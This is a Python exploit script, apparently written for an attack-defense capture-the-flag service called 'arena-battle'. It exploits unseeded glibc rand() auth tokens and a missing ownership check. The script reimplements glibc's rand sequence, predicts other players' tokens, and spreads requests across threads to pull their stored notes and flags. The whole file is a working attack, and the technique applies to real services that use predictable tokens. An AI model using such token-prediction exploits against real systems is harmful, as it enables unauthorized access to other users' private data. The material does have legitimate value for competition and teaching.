#!/bin/python3
"""
arena-battle (tcp/1337) -- predictable auth tokens.

Bug: create_fighter() builds the token as

    f.auth_token = "token_" + to_string(f.id) + "_" + to_string(rand());

srand() is never called, so glibc rand() runs its default seed-1 sequence.
Fighter ids are sequential, so the Nth fighter gets the Nth output of a
sequence we can compute offline.  NOTE_GET takes only that token -- no
session, no ownership check -- so any token gives us that fighter's notes,
which is where the checker stores flags.

    REGISTER probe warrior      -> tells us the current fighter id (= how many
                                   fighters exist)
    NOTE_GET <token>            -> list note ids + titles
    NOTE_GET <token> <note_id>  -> title + content
"""

import re
import socket
import sys
import random
import string
from concurrent.futures import ThreadPoolExecutor

PORT = 1337
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")

TIMEOUT = 4.0
LOOKBACK = 70          # how many recent fighters to raid
INDEX_OFFSETS = (0, -1, 1, -2, 2)   # rand()/id drift from concurrent REGISTERs
THREADS = 10
RECONNECT_AFTER = 12   # some boxes drop a connection after N bad tokens


# --------------------------------------------------------------------------
# glibc TYPE_3 rand(), default seed 1
# --------------------------------------------------------------------------
def glibc_rand_seq(seed, n):
    total = n + 344
    r = [0] * total
    r[0] = seed & 0xFFFFFFFF
    for i in range(1, 31):
        hi, lo = divmod(r[i - 1], 127773)
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        r[i] = word
    for i in range(31, 34):
        r[i] = r[i - 31]
    for i in range(34, total):
        r[i] = (r[i - 31] + r[i - 3]) & 0xFFFFFFFF
    return [r[i] >> 1 for i in range(344, total)]


# --------------------------------------------------------------------------
# line protocol
# --------------------------------------------------------------------------
class Arena:
    def __init__(self, ip, port=PORT):
        self.sock = socket.create_connection((ip, port), timeout=TIMEOUT)
        self.sock.settimeout(TIMEOUT)
        self.buf = b""

    def cmd(self, line):
        self.sock.sendall(line.encode() + b"\n")
        while b"\n" not in self.buf:
            chunk = self.sock.recv(65536)
            if not chunk:
                raise ConnectionError("closed")
            self.buf += chunk
        out, self.buf = self.buf.split(b"\n", 1)
        return out.decode("utf-8", "replace")

    def close(self):
        try:
            self.sock.close()
        except Exception:
            pass

    def __enter__(self):
        return self

    def __exit__(self, *a):
        self.close()


def rand_name(n=8):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(n))


def probe_max_id(ip):
    """Register a throwaway fighter; its id == number of fighters created."""
    with Arena(ip) as a:
        resp = a.cmd("REGISTER %s warrior" % rand_name())
        m = re.search(r"Registered fighter (\d+)\b", resp)
        if not m:
            raise RuntimeError("unexpected REGISTER reply: %r" % resp)
        fid = int(m.group(1))
        tok = re.search(r"TOKEN:(\S+)", resp)
        return fid, (tok.group(1) if tok else None)


class Raider:
    """Walks a list of candidate tokens over one reused connection."""

    def __init__(self, ip):
        self.ip = ip
        self.conn = None
        self.since_reconnect = 0

    def _conn(self):
        if self.conn is None or self.since_reconnect >= RECONNECT_AFTER:
            self.close()
            self.conn = Arena(self.ip)
            self.since_reconnect = 0
        return self.conn

    def close(self):
        if self.conn is not None:
            self.conn.close()
            self.conn = None

    def _cmd(self, line):
        """One command, retrying once on a dropped connection."""
        try:
            self.since_reconnect += 1
            return self._conn().cmd(line)
        except (OSError, ConnectionError):
            self.conn = None
            self.since_reconnect = 0
            return self._conn().cmd(line)

    def raid(self, token):
        """Pull every note behind one token. Returns a set of flags."""
        flags = set()
        listing = self._cmd("NOTE_GET %s" % token)
        if not listing.startswith("NOTES:"):
            return flags
        self.since_reconnect = 0                        # good token, keep the socket
        flags.update(FLAG_RX.findall(listing))          # flag may be the title
        for nid in re.findall(r"(?:^|\s)(\d+):", listing)[:40]:
            flags.update(FLAG_RX.findall(self._cmd("NOTE_GET %s %s" % (token, nid))))
        return flags

    def run(self, tokens):
        flags = set()
        try:
            for tok in tokens:
                try:
                    flags.update(self.raid(tok))
                except Exception:
                    pass
        finally:
            self.close()
        return flags


def exploit(target_ip):
    flags = set()

    max_id, my_token = probe_max_id(target_ip)
    print("[*] %s: current fighter id = %d (token %s)" % (target_ip, max_id, my_token),
          file=sys.stderr, flush=True)

    seq = glibc_rand_seq(1, max_id + 64)

    # sanity check: our own token should be seq[max_id - 1] on an unpatched box
    if my_token:
        expected = "token_%d_%d" % (max_id, seq[max_id - 1])
        if my_token != expected:
            print("[!] %s: token mismatch (got %s, expected %s) -- box may be "
                  "patched or rand() drifted" % (target_ip, my_token, expected),
                  file=sys.stderr, flush=True)

    # candidate tokens for the most recent fighters (they hold the live flags)
    candidates = []
    low = max(1, max_id - LOOKBACK)
    for fid in range(max_id - 1, low - 1, -1):
        for off in INDEX_OFFSETS:
            idx = fid - 1 + off
            if 0 <= idx < len(seq):
                candidates.append("token_%d_%d" % (fid, seq[idx]))

    chunks = [candidates[i::THREADS] for i in range(THREADS)]

    def work(chunk):
        return Raider(target_ip).run(chunk)

    with ThreadPoolExecutor(max_workers=THREADS) as pool:
        for got in pool.map(work, [c for c in chunks if c]):
            flags.update(got)

    print("[*] %s: %d flags" % (target_ip, len(flags)), file=sys.stderr, flush=True)
    return flags


def main():
    if len(sys.argv) < 2:
        print("Usage: %s <target_ip>" % sys.argv[0], file=sys.stderr, flush=True)
        sys.exit(1)

    target_ip = sys.argv[1]

    try:
        found = exploit(target_ip)
    except Exception as e:
        print("[-] Exploit error for %s: %s" % (target_ip, e), file=sys.stderr, flush=True)
        found = set()

    for flag in found:
        flag = str(flag).strip()
        if FLAG_RX.fullmatch(flag):
            print(flag, flush=True)


if __name__ == "__main__":
    main()